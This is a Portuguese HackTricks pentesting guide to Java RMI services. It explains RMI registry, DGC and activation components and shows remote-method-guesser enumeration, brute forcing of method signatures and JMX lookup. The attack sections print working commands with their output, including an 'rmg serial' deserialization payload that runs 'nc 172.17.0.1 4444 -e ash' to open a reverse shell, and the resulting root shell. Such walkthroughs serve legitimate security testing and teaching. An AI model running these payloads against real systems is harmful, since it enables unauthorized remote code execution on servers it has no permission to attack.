19 KiB
1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud no github.
Use Trickest para construir e automatizar fluxos de trabalho facilmente, com ferramentas da comunidade mais avançadas.
Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Informações Básicas
Java Remote Method Invocation, ou Java RMI, é um mecanismo RPC orientado a objetos que permite que um objeto localizado em uma máquina virtual Java chame métodos em um objeto localizado em outra máquina virtual Java. Isso permite que desenvolvedores escrevam aplicações distribuídas usando um paradigma orientado a objetos. Uma breve introdução ao Java RMI sob uma perspectiva ofensiva pode ser encontrada nesta palestra do blackhat.
Porta padrão: 1090,1098,1099,1199,4443-4446,8999-9010,9999
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
Geralmente, apenas os componentes padrão do Java RMI (o RMI Registry e o Activation System) estão vinculados a portas comuns. Os objetos remotos que implementam a aplicação RMI real geralmente estão vinculados a portas aleatórias, como mostrado na saída acima.
nmap às vezes tem dificuldades para identificar serviços RMI protegidos por SSL. Se você encontrar um serviço ssl desconhecido em uma porta comum de RMI, você deve investigar mais a fundo.
Componentes RMI
Para simplificar, Java RMI permite que um desenvolvedor torne um objeto Java disponível na rede. Isso abre uma porta TCP onde clientes podem se conectar e chamar métodos no objeto correspondente. Apesar de parecer simples, existem vários desafios que o Java RMI precisa resolver:
- Para despachar uma chamada de método via Java RMI, os clientes precisam conhecer o endereço IP, a porta de escuta, a classe ou interface implementada e o
ObjID
do objeto alvo (oObjID
é um identificador único e aleatório que é criado quando o objeto é disponibilizado na rede. É necessário porque o Java RMI permite que múltiplos objetos escutem na mesma porta TCP). - Clientes remotos podem alocar recursos no servidor invocando métodos no objeto exposto. A máquina virtual Java precisa rastrear quais desses recursos ainda estão em uso e quais podem ser coletados como lixo.
O primeiro desafio é resolvido pelo RMI registry, que é basicamente um serviço de nomes para o Java RMI. O próprio RMI registry também é um serviço RMI, mas a interface implementada e o ObjID
são fixos e conhecidos por todos os clientes RMI. Isso permite que os clientes RMI consumam o RMI registry apenas conhecendo a porta TCP correspondente.
Quando os desenvolvedores querem disponibilizar seus objetos Java na rede, eles geralmente os vinculam a um RMI registry. O registry armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor ObjID
) e as disponibiliza sob um nome legível por humanos (o bound name). Clientes que querem consumir o serviço RMI pedem ao RMI registry pelo bound name correspondente e o registro retorna todas as informações necessárias para a conexão. Assim, a situação é basicamente a mesma que com um serviço DNS comum. A listagem a seguir mostra um pequeno exemplo:
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
O segundo dos desafios mencionados acima é resolvido pelo Distributed Garbage Collector (DGC). Este é outro serviço RMI com um valor ObjID
bem conhecido e está disponível em praticamente cada ponto final RMI. Quando um cliente RMI começa a usar um serviço RMI, ele envia uma informação ao DGC de que o objeto remoto correspondente está em uso. O DGC pode então rastrear a contagem de referências e é capaz de limpar objetos não utilizados.
Juntamente com o Activation System obsoleto, estes são os três componentes padrão do Java RMI:
- O RMI Registry (
ObjID = 0
) - O Activation System (
ObjID = 1
) - O Distributed Garbage Collector (
ObjID = 2
)
Os componentes padrão do Java RMI são conhecidos como vetores de ataque há bastante tempo e múltiplas vulnerabilidades existem em versões desatualizadas do Java. Do ponto de vista de um atacante, esses componentes padrão são interessantes, porque eles implementam classes/interfaces conhecidas e é facilmente possível interagir com eles. A situação é diferente para serviços RMI personalizados. Para chamar um método em um objeto remoto, você precisa conhecer a assinatura do método correspondente antecipadamente. Sem conhecer uma assinatura de método existente, não há como se comunicar com um serviço RMI.
Enumeração RMI
remote-method-guesser é um scanner de vulnerabilidade Java RMI capaz de identificar automaticamente vulnerabilidades comuns de RMI. Sempre que você identificar um ponto final RMI, vale a pena tentar:
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
A saída da ação de enumeração é explicada em mais detalhes nas páginas de documentação do projeto. Dependendo do resultado, você deve tentar verificar as vulnerabilidades identificadas.
Os valores ObjID
exibidos pelo remote-method-guesser podem ser usados para determinar o tempo de atividade do serviço. Isso pode permitir identificar outras vulnerabilidades:
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
Força Bruta em Métodos Remotos
Mesmo quando nenhuma vulnerabilidade foi identificada durante a enumeração, os serviços RMI disponíveis ainda podem expor funções perigosas. Além disso, apesar da comunicação RMI com componentes padrão RMI ser protegida por filtros de desserialização, ao se comunicar com serviços RMI personalizados, tais filtros geralmente não estão presentes. Conhecer assinaturas de métodos válidos em serviços RMI é, portanto, valioso.
Infelizmente, Java RMI não suporta a enumeração de métodos em objetos remotos. No entanto, é possível forçar a descoberta de assinaturas de métodos com ferramentas como remote-method-guesser ou rmiscout:
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
Os métodos identificados podem ser chamados assim:
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
Ou você pode realizar ataques de desserialização assim:
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
Mais informações podem ser encontradas nestes artigos:
Além de adivinhar, você também deve procurar em motores de busca ou no GitHub pela interface ou até mesmo pela implementação de um serviço RMI encontrado. O bound name e o nome da classe ou interface implementada podem ser úteis aqui.
Interfaces Conhecidas
remote-method-guesser marca classes ou interfaces como known
se estiverem listadas no banco de dados interno do ferramenta de serviços RMI conhecidos. Nestes casos, você pode usar a ação known
para obter mais informações sobre o serviço RMI correspondente:
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
Shodan
port:1099 java
Ferramentas
Comandos Automáticos HackTricks
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.
Obtenha Acesso Hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>